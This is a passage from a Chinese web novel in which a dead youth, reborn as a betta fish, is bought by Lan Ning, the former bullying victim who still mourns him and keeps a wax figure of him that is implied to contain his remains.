许君言笑的没心没肺,一边说:“就这?还学人家路见不平呢,哎?蓝宁,你怎么吃上了,我真的往里尿了。”
“你又不是董宇。”蓝宁轻轻一笑,许君言靠在墙上,拿起手机对着手机屏幕整理自己的发型,“哎,都骗不到你了,不好玩,说起董宇,他最近找你麻烦了没。”
“没有。”
“居然没找你麻烦,我真高看他了,董宇也是个孬种,不敢跟我正面对抗了,还有你记住啊,以前你是董宇的狗腿子,现在你是我的,你要伺候我,全心全意地服务我,讨好我,做我的狗,不准再搭理董宇,你也知道的,董宇跟我根本没法比。我比他帅,比他有钱,比他能打,最重要的是比他帅,有我在,就没人再敢欺负你,谁欺负你了,只管找我,记住了没?”
“记住了。”
“不对不对。”许君言晃晃手指,看着他嘴角上扬,漂亮的脸上挂着坏笑,“一只小狗要怎么回?”
“汪。”
蓝宁那时候想,许君言可真恶劣,把他当成狗养。
但是他那时候又想,这样也很好,从来没有人给他买过冰淇淋,也没有人说,蓝宁,放心吧,有我在,谁敢欺负你。
恍惚间手指一阵刺痛,把他拉回现实,蓝宁低头看,那条小鱼正在啃他的手,啃的一点一点的血痕,他终于知道这种奇怪的感觉是什么,他喃喃道:“好像,你跟他真的像,喜欢出口伤人。”
许君言猛地安静下来,收了嘴。
跟谁像?不管跟谁,总之不像,完全不像,一点也不像,不像极了。
快把我放下来!!!!
许君言无声呐喊。
蓝宁看着手里的鱼自嘲一笑,觉得有些荒唐,自己居然看一条鱼联想到许君言,或许最近听到那人的名字听多了,又产生了一种许君言还活着的妄想。
幻想他还活着,以前发生的都是假的,现在的他在世界的某个角落,藏起来了不让他发现。
蓝宁一直克制这种妄想,医生告诫过他,过度幻想很大概率会诱发精神疾病。
但现在蓝宁不想再克制,或者克制不住了。
“两千块,卖给我。”蓝宁抬眼。
许君言最终以两千大洋被蓝宁买走,老妇人和小孩拿着钱高高兴兴地离开了,刚把他以三快钱卖人的地摊老板痛苦地捶胸顿足,差点没背过气去。
许君言躺在蓝宁的手心里,见老板那副生不如死的模样,鱼嘴直接裂到天上。
今日大仇得报,爽!!
许君言明爽了一会儿,只见蓝宁拿着他走到一处喷泉边,许君言激动的直晃尾巴,以为蓝宁善心大发要把他给放生,结果,蓝宁扯过一个塑料袋,接了点自来水,把他扔进去揣兜里了。
他妈的,见鬼。
许君言根本不想被这个人养啊。
做人做鱼都不想被养。
折腾到下午,参加完讲座。
两人一鱼回到宿舍,张安拿了一个脸盆接点自来水,把翻着肚皮的鱼倒进去。
张安戳戳鱼肚皮,那条鱼一动不动,于是问蓝宁:“买回来怎么办,就这么养在宿舍?”
“随便你。”蓝宁从椅子上起来,往外走。
张安纳闷:“你干嘛去?”
“你照顾它吧,买什么找我报销。”
“嗯?”张安一头雾水站起来,回应他的是关门声。
什么意思?两千块买回来一条死鱼,然后不管了?这跟只恋爱不结婚的渣男有什么区别。
4. 他叫许君言
蓝宁在郊区有栋别墅,是周家的房产,因为年代久远和地理位置偏僻废弃了很久,直到蓝宁来到周家看中了这套别墅,翻修后,作为他一个人的住所。
平时没人来,毕竟从市里开车都要三个小时。
而蓝宁每周都要过来几天。
无论刮风下雨。
越野车爬过山路停在大门前。
那是二层别墅,走进门,屋里窗明几净,一尘不染。
“我回来了。”蓝宁把外套脱下来扔在沙发上,像一个回家的丈夫,对着自己的妻子惯例问候,但客厅空无一人。
空气中漂浮着奇异的味道,像松脂混合着蜡油在经过阳光的揉杂,散发出特殊的香气。
“今天过的怎么样?我先去洗个澡,洗完就来陪你。”蓝宁一边说,一边上楼,深红色的木制楼梯随着蓝宁的脚步,吱呀吱呀的响。
二楼有两个卧室,一个主卧一个客卧,蓝宁走进客卧,不一会儿浴室里面传来一阵水声。
洗完澡蓝宁擦干身体,换了一件干净的睡衣,仔细地把头发吹干,确定没有任何水分后,抽出抽屉里的医用手套,戴在手上。
这才迈进隔壁的房间。
隔壁的房间没有床,像个小型客厅,装修精美,有几组真皮沙发,壁画,各种乐器,以及一个挂满工具的嵌入式壁橱。
还有一个站立着的人。
那人,站在地板上,整个人身上罩着一层轻薄的白纱。
年纪很轻,约莫十六七岁,肤色白皙红润,眉眼带笑,唇线上挑,透过白纱,明艳的五感增添一种朦胧的美感。
神圣又诡异。
蓝宁抬手拂下白纱,橡胶手套贴上那光滑白皙的脸颊,沿着面部轮廓一寸一寸细致的抚摸,声线是在旁人面前从未有过的低柔:“我今天一直在想你,怪他们最近总是提起你,我一直忍不住想过来,会觉得烦吗?”
而那少年依旧保持着微笑。
没有声音,没有动作,没有反应,静静的,安静的站立着。
“应该不会吧,你以前最喜欢热闹。”蓝宁露出一个笑,缓缓放下手,走向沙发,“还有我见到董宇了,上周跟你说过,我要给他做手术,你先别着急着生气,我没有跟他多说一句,也没有原谅他,但我是医生啊,你说过
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医生得救死扶伤才行。所以我施舍了他一条狗命,他见到我时已经吓得快哭了,你不知道那样子有多狼狈,像一只待宰的羔羊。”蓝宁兀自笑了下,又收起嘴角,“不过我对他并不感兴趣。”
少年唇角上扬,双眼虚无地注视着前方。
“在这里呆着闷坏了吧,没关系,过阵子我带你去热闹的地方。”蓝宁看着它又笑,眉眼弯弯,“你一定会喜欢,你想问去哪里吗?这先作为一个秘密。”
回应他的是一阵寂静。
蓝宁坐在沙发上继续自言自语:“放心,我已经不是从前的蓝宁了,我现在是周家二少爷,想做什么就能做什么,你说过的,想做的,我都会为你实现。”
“可是我倒是想回到以前,回到那个高中时期,你应该不愿意回去吧。”蓝宁身体一倾,歪倒沙发上,静静注视着微笑的少年,少年不会给他任何回应,他永远都是微笑着,站立着,维持一个表情,一个动作。
五年前如此,五年后,甚至五十年后也如此。
蓝宁也不再说话。
空气中的蜡油味更加浓重,房间里只剩钟表的滴答声。
5. 有什么意义
董宇出院一个月,恢复良好,已经能够自由活动了。
半个月后,董家老宅举办了一场生日会,说是是董宇的生日会实际上也是为董宇冲冲喜,毕竟刚从鬼门关走回一遭。
老宅里人声鼎沸,南林市有头有脸的人基本上都过来捧场了。
自然也包含周家,以及给董宇主刀的蓝宁。
蓝宁第一次以周家二公子身份露面,又因为手术的成功,身份地位水涨船高,被来来往往同龄人甚至长辈搭讪聊天。
蓝宁被迫喝了很多酒,不胜酒力地支着头,坐在一处吧台旁休息。
周瑾风给他要了一杯解酒的苹果汁。
转头看向旁边的蓝宁,蓝宁穿着藏青色西服,一头长发被扎成低马尾,露出泛着淡红的侧颈。
蓝宁的手指很长,脸很小,修长的手遮住半张脸,只露出薄唇和削尖的下巴。
他喉结滚动几下,唇线紧抿,那被酒精浸润的唇更加殷红,像开在雪地里的梅花,清冷圣洁,又招摇地开着花苞,朝峰引蝶,邀人采撷。
秀色可餐,周瑾风只想到这几个字。
蓝宁长的十分像他的生母。
眉眼锐利,狭长,像狐狸,迷人又危险。
周瑾风一点也不惊讶于蓝宁或者他母亲的长相,毕竟蓝宁的母亲要是没点姿色,怎么会迷的他父亲神魂颠倒。
“你一会儿还要去董宇那打个招呼。”周瑾风好心提醒他。
“我居然不知道,跟你做交易需要这么麻烦。”蓝宁闭着眼,满脑子都昏昏沉沉。
他当然不是给董宇白做手术,他不在乎周家,也不在乎周家和董家怎么样,他蓝宁活到现在,全凭自己。
周瑾风也深知这一点,所以任由蓝宁开出治好董宇的条件。
“说起交易。”周瑾风凑近他,“我一直没问你为什么会做那种东西?”
蓝宁缓慢睁开眼,唇线微微上扬,漆黑的瞳孔带着一种诡异的兴奋和癫狂,犹如一个巨大的漩涡,透过指缝,辐射到周瑾风脸上。
“你真这么想知道?”
周瑾风哑然,头皮有些发麻,有一种强烈的直觉告诉他,他问的不是一个好问题。
“您的果汁好了。”
一杯果汁及时打断两个人间诡异的氛围,蓝宁放下手,眼里的疯狂和偏执跟着消散,接过调酒师的果汁,喝了几大口。
随即看了一眼周瑾风,起身朝董宇走过去。
董宇头上戴着鸭舌帽,四仰八叉地摊在按摩椅里,唉声叹气。
董宇也懂他妈的意思,这个聚会,他多半是要跟蓝宁打好关系,冰释前嫌的,毕竟自己的脑子以后出了什么问题,还要靠蓝宁。
旁边的端着香槟的男人呵呵一笑,“大宇,不就装装样子吗,至于愁眉苦脸?”
“大宇拉不下面子,谁愿意给一个妓女的儿子低三下四的。”另一个人插话。
端果汁的人叫张大伟。
插话的人叫徐鸣绅。
两个人跟董宇从小玩到大,可以说是形影不离的铁三角。
“周家也不待见他。”徐鸣绅又说:“你妈不是跟周家打过招呼了么,我看就算你不道歉,他也不敢拿你怎么样。”
徐鸣绅最擅长煽风点火,但董宇这次没有被煽动,“刀不夹在你脖子上,你倒他妈的会说风凉话,蓝宁跟以前不一样了。”
“哪里不一样?”徐鸣绅刚要说,一个清冷的男声,替他问出了这句话。
张大伟闻声抬头,先是一愣,随后很快脸上挤出一个笑,“蓝宁,好久不见。”
蓝宁视线扫过董宇后面的两个人,淡淡道:“是有些年不见了,张大伟,还有徐鸣绅。”
徐鸣绅顿了顿,微笑道:“蓝宁你变了很多啊,以前都不知道你还有这身份,要是知道你是瑾风哥的弟弟,我们也不至于不长眼啊。”
又是这套话,蓝宁已经听腻了,好像托生在周家是一件天大的好事一样。
好像他蓝宁本来就应该被按在地上。
蓝宁随手拿起一杯香槟,抿了一口,散漫道:“你们是挺不长眼,以前不长眼,现在依旧不长眼。”
“握草,你说什么?!”张大伟首先沉不住气,上去就要动手,董宇及时拉住了他,“张大伟,你疯了?老子头还没好!”
张大伟一米九多,站起来极具有压迫感,鼓着满是肌肉的腮帮子,指着蓝宁:“蓝宁,大宇以后出什么事,别人不论,我第一个不放过你,你应该没忘记我以前怎么揍你的吧。”
蓝宁对他的威胁丝毫无感,甚至嘴角上扬,带着一点嘲弄,“我等着。”
蓝宁的瞳孔很黑,藏在镜片后面,又是狐狸眼,一动不动看人的时候有种说不出的邪性。
徐鸣绅被看的打了个冷战。
蓝宁真的跟以前不一样了,不再是畏畏缩缩,半天扒拉不出一个屁的窝囊废。
他现在从内到外,完完全全变成了另外一个人。
不仅长的大变样,身上还透着一股说不出的狠劲。
蓝宁冲他们举起手里香槟,喝了一口,算是打过招呼,然后随手一扔,玻璃杯在桌面滚了几圈,残留的香槟液体顺着桌面滴答滴答流淌进三人脚下的地毯里。
蓝宁头也不回的走了。
张大伟烦躁地说了句操。
徐鸣绅轻蔑地扫过他的背影,轻声说:“不愧是婊子养的,还挺记仇。”
“那他妈能怎么办?”董宇摸自己头上的缝合线,低声说:“我身家性命在他手上,算是栽到他手里了。”
“操!他有什么好牛的。”张大伟骂道:“都是因为许君言那个煞笔,当初要不是许君言跑出来横插一脚,蓝宁早就被训成一条狗了,到时候你不叫他帮你他都得求着帮,哪有今天的威风耍?”
“别他妈提许君言那个疯狗。”董宇瞬间暴躁,“妈的,那个疯子,差点把我杀了。”
徐鸣绅脸色阴沉,摸着手臂上一条细长的疤。
三个人一瞬间默契的沉默半响,张大伟说:“你现在还怕他干什么,他都死了。”
“妈的。”董宇脸色很难看,又说:“谁他妈不怕,打你的时候你当时没怕?”
张大伟一顿,拳头攥紧,“那是咱们都喝醉了,要是当时清醒着,他能打过我们三个?更何况现在人都死了五年。”
五年时间足够长,但却不足以让他们忘记极具羞辱性的那天,许君言不知道从哪里冒出来,疯狗一样见谁咬谁。
本来就喝醉的他们别打的根本毫无还手之力。
只能抱头鼠窜。
最后被几家人家长知道,那时候许家家大业大,几家人都不能拿许家怎么样只能选择息事宁人,他们也被逼着转学的转学,出国的出国。
白白受了一顿苦
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楚还要被家里人骂。
但天道好轮回,再他们转学后的不久,许家完了,许君言也死了。
“哎,许君言跟我们作对的时候也没想到自己有一天会死吧。”徐鸣绅呼出一口气,懒懒道:“只可惜我没亲眼看到尸体。”
“你他娘的有病啊,看什么尸体。”张大伟推了徐鸣绅一下,又说:“当时被找到时,那人都在河里泡了一周了,有的看吗。”
“有的看啊,大宇,你应该猜不到,当时指认尸体身份的是谁。”徐鸣绅似笑非笑地看着董宇。
“谁?”董宇皱起眉,当时被父母安排到国外念书,对国内的消息一点也不了解。
“蓝宁。”
董宇不敢相信睁大眼睛,“蓝宁?”
“是那个狗崽子。”张大伟接话:“他指认出那具尸体是许君言,许家的旁系不管尸体,也是他处理后事。”
“呵呵。”董宇冷笑,“蓝宁也是犯贱啊,许君言跟咱们有什么区别,他还眼巴巴的料理后事。”
“许君言把他训的好呗。”徐鸣绅说:“比咱们训的到位,蓝宁更听他的话。”
张大伟嗤笑,“你还真别说,刚才你看他那骚样,说不定早就被许君言洗脑了,记吃不记打,这些年都念念不忘呢。”
“该说不说现在的蓝宁真有点招人的意思。”徐鸣绅朝那个欣长高挑的背影望了一眼,只见蓝宁举着香槟正在跟人说着什么,由于身材过高,微微倾着身,宽肩窄腰,后背流畅挺阔,圆框眼镜下有着一双美目,沉静柔和,举手投足间都散发着魅力。
许鸣绅下巴点点,“谁能想到,以前那个矮矬穷的丑逼,长成这样了。”
“飞上枝头当凤凰了,还成了瑾风哥的弟弟。”董宇叹息道:“真他妈的世事无常啊。”
周瑾风单手搭在窗台,听着不远处几个人的谈话,眉心微皱。
他本来不想听,只不过捕捉到了,蓝宁,许君言,料理后事这几个字。
这几个字让他联想到五年前的一些事。
那时候是他操办蓝宁认亲事宜,周振雄把事情交给他,他当然会如往常一样办的完美妥帖。
他是周家继承人,顾全大局是从小贯彻到他脑子里的信条。
也因为他是周家继承人,他不允许这一身份有任何潜在的威胁,但出乎意料的是蓝宁似乎对这个身份没有任何兴趣。
甚至主动也跟他做了一笔交易,放弃周家给予的任何财产,地位和资源,换来的是以他的名义认领一具无人认领的尸体。
蓝宁还十分平静的跟他介绍,他叫许君言。
蓝宁口中的许君言,是一具无人认领的高度腐败的死人。
周瑾风不知道蓝宁到底出于什么想法,一个死人,或者许君言对于他有什么意义,总之自己答应了。
这对他没什么难度。
一切手续都正常进行,一个人的死亡,送检,鉴定,出具死亡证书,最后火化。
直到结束。
蓝宁也按照他的要求,拒绝周振雄任何形式的赠予,包括周家的股票,基金,分红和地产。
周瑾风知道蓝宁的每一笔进出流水,蓝宁如同他当初说的那样从来没依靠过周家。
但这么多年过去周瑾风总觉得他忘了什么细节。
究竟是什么呢。
让他每次回忆起都隐隐觉得心里发毛。
6. 许君言到人间一游
被蓝宁收养的第七七四十九天,许君言过的挺煎熬,但实际上蓝宁把他带回来后再也没露过面,也没管过他,一般都是他室友管。
往他鱼缸里撒药,或者喂鱼食。
索性鱼食比以前好吃了不少,不至于难以下咽。
但这不是长久之计,他还是想跑。至于怎么跑他还没想好。
当人的时候可以随心所欲,但是当鱼的时候却不能想去哪去哪。
许君言啃着一包五十块的鱼食,听站在缸前的人唠叨:“小鱼儿啊,快点吃,吃饱了有力气咬人。”
许君言皱起眉,贴近鱼缸才看清面前的人,有点面熟。
好像叫张什么?张三还是李四?之前总在蓝宁身边晃悠的小跟班。
“张安,又在替蓝宁喂鱼呢?”另一个人的声音响起。
许君言啃着鱼粮想,嗯,对,叫张三。
张安撒完一把鱼粮,将剩下的鱼食封口:“对呗,他买了又不管,我只好帮他喂了。”
隔壁寝室的师兄韩硕递给张安一本论文用的参考资料,凑近斗鱼缸打量,“你真贴心呢,这鱼好像好了点。”
自从蓝宁养了鱼,他本人没照顾过一次,都是蓝宁的师兄师姐师弟师妹,学弟学妹轮流看护,无他,都想看看喂喂,顺便摸摸价值两千块的斗鱼。
“哎,你别动,它咬人。”张安说完已经来不及,韩硕的手指凹陷出一个小小的红印。
韩硕吹吹手指,“这么凶?”
“当然了,斗鱼,不凶就怪了。”张安说。
“不愧是2000快啊,蓝宁呢?这都一周没见他人了吧。”
“在医院或者在给老刘当苦力,再或者给学生上课。”张安抱着手臂,说:“他一直都是这样,学校医院连轴转,你还不了解吗。”
医学生本来就牛马,蓝宁更是牛马中的战斗机,几乎不会累的那种。
不回宿舍是常态。
甚至于买的鱼都忘了。
张安喂完鱼,发现这鱼鱼腹向上,又飘在水面上。
他不由敲敲鱼缸。
许君言为了逼真,张着嘴巴,继续翻着肚皮。
张安掏出手机拍了一张鱼照给蓝宁发过去,说:“你这条鱼好像有点死了。”
课间休息,蓝宁在洗手间点燃一根烟抽空看消息,随手发:“那就扔了吧。”
韩硕凑过去看消息,张安说:“他说扔了。”
“那不是还有口气吗?等没气了再扔吧。”
张安再次敲敲鱼缸,里面的斗鱼一动不动,瞪着一对眼珠子飘在水面上。
“刚才还咬我呢,我看它是装死,别管了。”韩硕说完,两个人收拾一阵出去了。
许君言见人走了,继续飘在水面上,慢悠悠地吐个泡泡。
淦,怎么没把自己扔了。
张三你不是最听蓝宁的话了么,真的是,狗腿子都当不好,你没蓝宁有天赋。
装死这一计划失败,许君言只能无奈启动备用计划。
靠别人不如靠自己。
等着别人扔不如自己跳出去。
又不是只有鱼缸里有水。
所以许君言决定,跳出鱼缸后,就蹦哒到洗手间,再跳到排水口,顺着下水道完美脱身。
已知鱼缸被放在阳台上,阳台离洗手间两个床位,直线五米,五米作为人类几秒就能走完,但作为鱼可就艰难。
更何况还是没有水的干燥地板。
许君言在鱼缸里游来游去,暗暗估计鱼的时速是多少,算了两秒,放弃了,从小不爱学习的他,根本没有什么计算能力。
他只知道自己能忍住五分钟憋气,五分钟应该够了吧。
不管怎么样,先试了再说。
于是许君言纵身一跃,灰突突的烂鱼从水面上跳出。
跳出的一瞬间,许君言的视野忽然变得清晰了数倍,没有水的阻隔,玻璃的放大,周围的一切都那么清晰鲜亮。
许君言有一种自己变成人的错觉,心里升起一股诡异的兴奋,在滞空的那十分之一秒,他努力甩动鱼尾,将自己的身体从鱼缸中甩向鱼缸边缘。
整个鱼身上升在抛物线顶点又快速下落,落向鱼缸边缘,许君言不由大喜,大叫两声给自己鼓劲。
然后啪嗒一声,鱼身下落并没有越过鱼缸,而是撞在鱼缸边缘,鱼鳃卡在了花边鱼缸上。
计划第一步就失败了,许君言整条鱼都不好了。
他晃动着身体,但鱼缸边缘凹凸不平,根本没办法动弹。
而随着挣扎而来是尖锐的疼痛和疲惫。
救命,他这个破身体似乎不大好。
许君言一动不动卡了一会。
慢慢深呼吸,暗自使劲,一边鼓励自己:来,许君言,你行的。跳出去,justdoit。
鱼尾扑腾扑腾了一会儿。许君言嘴里的话从justdoit变成了Youmotherfuck。
直到最后说不出话,许君言张着鱼嘴,鱼鳃一张一合,过滤不到空气,逐渐感到窒息。
许君言想,完了,他又要死了。
尊敬的蓝先生您好:
我们诚邀您的艺术品入驻维纳斯蜡像馆。
我们希望在2025年6月1日前完成艺术品入驻,按照您的要求艺术品将会被陈列在大厅中心展览,另外我们会提供专业的复合钢化玻璃防护罩和定制黄金身份牌,确保艺术品的安全和完整性,届时将会派遣专业人员去您的住址打包搬运。
盼您回复具体交易时间。
维纳斯蜡像馆。
风吹过垃圾桶里的烫金信封,信封上的字已经被红酒晕染。
空气里漂浮着细小的灰尘,米白色的窗帘翻飞,房间里已经空无一人。
维纳斯蜡像馆位于南林市中心,是除了南林医科大,第二个南林市招牌,也是国内规模最大制作陈列名人明星蜡像最多的蜡像馆。
蜡像馆闻名而来的游客络绎不绝。
而很多明星商贾都热衷制作一个自己蜡像,放在这里,作为身份和地位的象征。
今天维纳斯闭馆。
馆内的工作人员小心翼翼地拆着包裹严实的长方形木箱。
周瑾风和馆长在说着话,那木箱就缓慢地,被拨开,里面的物件一点一点撞进了他的视线。
随着里面的物件完全展露,旁边馆长发出了一声惊呼:“这太美了。”
一尊蜡像。
周瑾风看见那尊蜡像,罩着一层白纱。
那纱如晨间的雾,如梦似幻,垂在蜡像身上,里面的物件仿佛也有生命,正在朝他们柔和地微笑。
透着一股诡异宗教感。
精美让人胆战心惊。
周瑾风知道,这是许君言。
生前的许君言。
蓝宁站在蜡像旁边,近乎痴迷地看着它,在周围的障碍物被清扫后,他抬手,慢慢地帮它褪下了那层薄纱。
微笑的少年依旧朝他们微笑,没了白纱的阻隔,少了诡异的神圣感,却更加逼真。
像一个活生生的人。
周瑾风心里一沉说:“这就是你的条件?”
以给董宇做手术的条件,换来把这个蜡像放在维纳斯蜡像馆中心位
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置展览。
时隔五年,蓝宁再次让他被迫知道,这个许君言对于蓝宁是多么的特殊。
许君言到底做了什么能让一个人如此死心塌地?周瑾风上前,想要触碰那个微笑的少年。
蓝宁拂开他的手,“别碰他,他脾气不好,不喜欢自来熟。”
周瑾风一时语塞。
“这是我大哥,周瑾风。”蓝宁看向蜡像,眼里满是柔情蜜意,声线轻柔的滴水,“刚才碰到你的脸了?你别介意,他不知道你不喜欢别人自来熟,但他是我大哥,你原谅他这回,别生气。”
周瑾风起了一身鸡皮疙瘩,蓝宁居然跟这个蜡像说话,而且是从来未有过的温柔细语。
“周总,你弟弟......”馆长听了半天,给了周瑾风一个晦涩难明的眼神,周瑾风微微皱起眉,低声道:“小宁,这只是个蜡像。”
一个蜡像怎么会生气,它只是个死物,是个没有意识,没有情感,没有血肉,人造的假物。
但蓝宁似乎并不觉得,而且已经沉浸在自己的世界中,“你在这开心吗?我给你做了身份牌,一会拿给你。”
周瑾风收起嘴角。
蓝宁这个状态好像不大对。
不止馆长,旁边工作的人员投来异样的眼光。
没有人会跟一个蜡像说话。
即便蜡像做的再逼真,也是没有生命的。
更没有人像蓝宁这样,把蜡像看作一个活人一样交流。
平时一丝不苟,冷淡到生人勿近的弟弟,像个疯子一样对着蜡像自言自语。
这很令人毛骨悚然。
就像面前站着一个真的许君言。
周瑾风想到这,而后脚底升起一股凉意。
他想起来他忘了什么细节。
他这几年一直监视着蓝宁,他的一举一动,每一笔钱都清清楚楚。
但这些年中,从来没有过购买不动产的记录。
那尸体火化后,剩下的东西安顿在哪里了?
没有购买墓地记录,没有做灵牌,没有存放在任何宗教祠堂。
像凭空消失了一样。
而这个蜡像,再那过去一个月,就出现在蓝宁住的别墅里。
那时候蓝宁开的交易还有一条,找一个永远不会有人来的地方。
蓝宁说我想带着他安静的生活。
带着他。
安静的生活?
周瑾风越想越不对劲,看着对蜡像喃喃自语的弟弟,不可置信地出声:“小宁,许君言被安葬在哪里了?”
蓝宁闻声抚上蜡像的手一顿,停止了自言自语,慢慢整理少年有些歪斜的领口,漫不经心地垂着眼睛,声线也恢复了往常的冷淡:“你要问什么?”
周瑾风抓住蓝宁的手,力道大的几乎将他手腕捏碎,“你这尊蜡像,是不是还放了别的什么?小宁,你是不是把他的.....”
“就是你想的那样。”蓝宁平静地断了他的话,甚至没有看他,旁边的工作人员拿来定制的名牌,蓝宁把被抓住的手抬起拿过名牌,将黄金雕刻的身份牌放在蜡像的脚底。
随后仔细的整理好他穿的衣物,丝毫不在乎手上的红痕,“以后在这里,就能被更多的人看见,所有人都会记得你,都会夸你帅,我也会来这里陪你,言言。”
周瑾风不可置信地睁大双眼。
这简直太惊悚了。
蓝宁,他的弟弟,或许早就疯了。
随着透明的钢化玻璃落下,玻璃内的少年,定格在了永远。
金黄色的身份牌上刻着几个醒目大字:“许君言到人间一游。”
7. 傻瓜
包厢里灯光昏暗,空气中弥漫着酒精的甜气。
蓝宁喝了很多酒,他笑的眼泪都要出来了,周瑾风还觉得浑身寒津津的,他派人翻遍了蓝宁的住所,都没有找到许君言的骨灰。
这也证实了他的猜测。
蓝宁拿起桌上的半瓶葡萄酒对瓶吹,旁边被周瑾风叫来的张安眼满脸不知所措询问,“蓝宁今天怎么这么亢奋?吃错药了?”
“你问他自己。”周瑾风说完实在呆不下去,付完钱立马走了。
他需要给弟弟找个心理医生。
非常急。
“啥?”张安一脸懵逼目送周瑾风离开,蓝宁忽然冲上来搂着他,笑道:“言言,我今天好高兴。”
“颜颜?谁是颜颜?”张安问:“你交女朋友了?”
蓝宁脸色骤然一冷,用力推开他,“你不是言言。”
张安无奈地叹气,两手一摊:“我当然不是颜颜,谁知道你说的颜颜是谁啊。”
“言言就是言言。”蓝宁说完趴在桌上,不动了。
过了一会儿,张安以为他睡着了,蹲下来正准备把人抬回去,蓝宁又忽然开口:“把你放在展览馆,那么多人看你,你很开心吧?但我很寂寞。”
“啥?”声音小的像蚊子哼哼,张安不由俯下身仔细听。
蓝宁喃喃道:“我再也不能独自拥有你了,我又会忍不住想你,想你的时候该怎么办?我去那里还要买门票.......”
“说什么呢,颜颜到底是谁啊?”张安拍拍他的肩膀继续询问,但蓝宁没再出声。
为了防止蓝宁再次诈尸,张安决定让蓝宁冷静一会儿,再把他弄回去。
蓝宁觉得头很晕,四肢都轻飘飘的没有实感。
耳边是模糊不清的,朦胧的咕咚声,像飘在水里,听见自己呼出来的气泡在水里碰撞。
咕咚咕咚,咕噜咕噜。
“鱼缸,呼吸不了了。”
脑海中忽然传来一个声音。
谁在说话?那个声音断断续续,就像真的不能呼吸一样,发出嘶哑的气声。
蓝宁下意识地寻找着声源,但是视野里一片漆黑,什么也看不见。
感官触及的都是水的流动声。
“鱼缸,水,我需要水。”
鱼缸?水?蓝宁微微皱起眉,谁在说什么?这个声音听着有些熟悉,好像在哪里听过。
是谁的声音?他是不是听过?
在哪里?谁的声音?
“救我,蓝宁。”
声音骤然变得清晰。
蓝宁猛地起身,吓得张安一抖。
“鱼缸,水。”
“我要回宿舍。”蓝宁直愣愣地站起来,大步流星地往外冲。
“哎!干嘛去?等等我啊。”张安一边叫人,一边抓起蓝宁扔下的手机和衣物,赶紧追了上去。
两个人打车回了宿舍。
刚下车,蓝宁就像脱缰的野马,迅速朝宿舍方向飞奔,速度堪比博尔特,张安膛目结舌,哪有人耍酒疯这样耍的?这不纯神经病吗?
蓝宁脑海中一片混乱,满脑子都是,鱼缸,水,这几个字。
有什么东西占据了他的大脑,代替思考,驱使他的身体一定要回来,回来看一些什么。
蓝宁打开宿舍门,随后就听见一阵扑腾扑腾的撞击声。
他靠近阳台。
只见前几天新买的斗鱼卡在鱼缸上,正扑腾着鱼尾,瞪着一双大鱼眼瞅着他。
许君言:“救我救我救我救我救我救我救我救我。”
蓝宁伸出手,把那个小小的头提起放回鱼缸里。
许君言努力鼓着腮帮子呼吸水里氧气,好半天才缓过神。
该死,他这个破身体,变成鱼一点用也没有。
张安气喘吁吁地跑进来,看见蓝宁双手撑着阳台,披头散发地盯着鱼缸,跟里面的鱼大眼瞪小眼。
“我去,累死我了。”张安扶着闪着的老腰走过去,十分无语,“敢情你玩命跑,就特么回来看鱼啊,这鱼早不看晚不看,非得等自己喝醉了看?”
蓝宁低头看着鱼缸不吱声。
许君言歇好了,觉得四周有点昏暗,他寻思这么快就黑天了?疑惑地抬头一看,整个鱼吓的一哆嗦,鱼缸周围被黑压压的长头发遮着,头发的正中间,长着一张放大苍白的人脸。
那人脸不是别人,正是喝醉的蓝宁。
“靠,吓死我了,你这么看着我干什么?”许君言抖抖身上被吓的竖起来的鱼鳞,又觉得这人表情似乎不对劲,“你喝酒了?”
“唔。”蓝宁看了一会,对着鱼缸做出一个反胃的表情。
“喂!干什么呢?你是不是喝醉了?”许君言十分不安,焦躁地晃动尾巴,“你那个表情怎么回事?怎么一副想吐的样子?你对着鱼缸想干什么?”
“呕。”蓝宁的表情开始扭曲,对着鱼缸干呕了几下。
“喂!!!住口!”意识到蓝宁真的喝醉了,许君言吓得四处乱游,“你别吐啊,你去别的地方吐啊!!!!!这里是鱼缸!!!!!”
张安也察觉到不对劲,连忙想拉着蓝宁去洗手间,谁知道干拉拉不走,蓝宁像长在地面上一样,一动不动,“蓝宁?蓝宁?”
张安叫了两声,把他散落的头发掀起来一角,只见蓝宁眉头紧锁,紧接着嘴巴一张,呕地一声,对着鱼缸一吐千里。
张安连忙跳出去两米远。
食物的碎屑,酒精以及胃液混和着一股倾泻在鱼缸里。
许君言发出尖锐的爆鸣:“啊啊啊啊啊!!!!!!你敢!!!!!!!!你敢!!!!!!!蓝宁,我要杀了你!!!!!!!!!”
张安捂住了自己双眼。
好恶心。
算了,吐都吐了,救不了了,孩子想吐就让他吐吧。
于是宿舍里,蓝宁一个劲的吐,张安一个劲地给他拍后背,许君言一个劲在鱼缸里崩溃的大叫,“啊啊啊啊!!!!!!!!我操!!!!!!我操啊!!!!!!!!”
流水哗啦啦地响着。
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张安蹲在卫生间里洗鱼缸,蓝宁看着他洗,顺便伸手把试图钻进下水道里的斗鱼摸出来,职业习惯伸出手摸了两把鱼鳃,确认没有损伤。
手指上被咬出数个大小不一的红点。
蓝宁坐在地上笑,“这么点的小玩意,气性倒挺大。”
张安任劳任怨地刷鱼缸,哭笑不得:“搁谁谁不气啊。”
许君言气的鱼鳃鼓的老大,张口就骂:“我生平最恨别人吐我鱼缸里,你这个蠢蛋!!!蠢蛋!!!!”
说完张着嘴对着下面的肉使劲啃。
“你知道我为什么买你吗,我第一眼看到你就觉得,有一个人跟你很像。”蓝宁笑着说。
“不像。”许君言啃他手。
喝醉的蓝宁有点口齿不清,“他很,很,可爱。”
“可爱?可爱,你看我可不可爱?”许君言使劲啃。
“可爱,又幼稚。”蓝宁似乎想到了什么似的,把手里的斗鱼举起来,问他:“他叫什么?你想知道他叫什么吗?”
张安重重叹了口气,这蓝宁还没醒酒呢,对他耍酒疯算了,现在连条鱼也不放过。
“他叫言言。”蓝宁看着那条小斗鱼,柔声道:“你也叫言言好不好?言言跟你一样凶,又凶又可爱。”
“不好。”许君言鱼脸吓绿了,“不好不好不好,你认错鱼了,我不叫言言!!!!”
但许君言短暂的忘了,人听不见鱼说话,他说什么蓝宁都听不见,相对的蓝宁也只拿他当成一条普通的斗鱼。
“言言,言言。”蓝宁低喃着,又靠着墙傻笑,“他们以为你在欺负我,觉得我活的不好,连你也以为你在欺负我,但其实根本没有那回事,你真的好幼稚,好可爱,那段时间是我活的最开心的日子,但是真的太短暂了,太短暂了,好像烟花一样,一瞬间就没有了。”
“你说什么傻话呢......”许君言声音渐渐减弱。
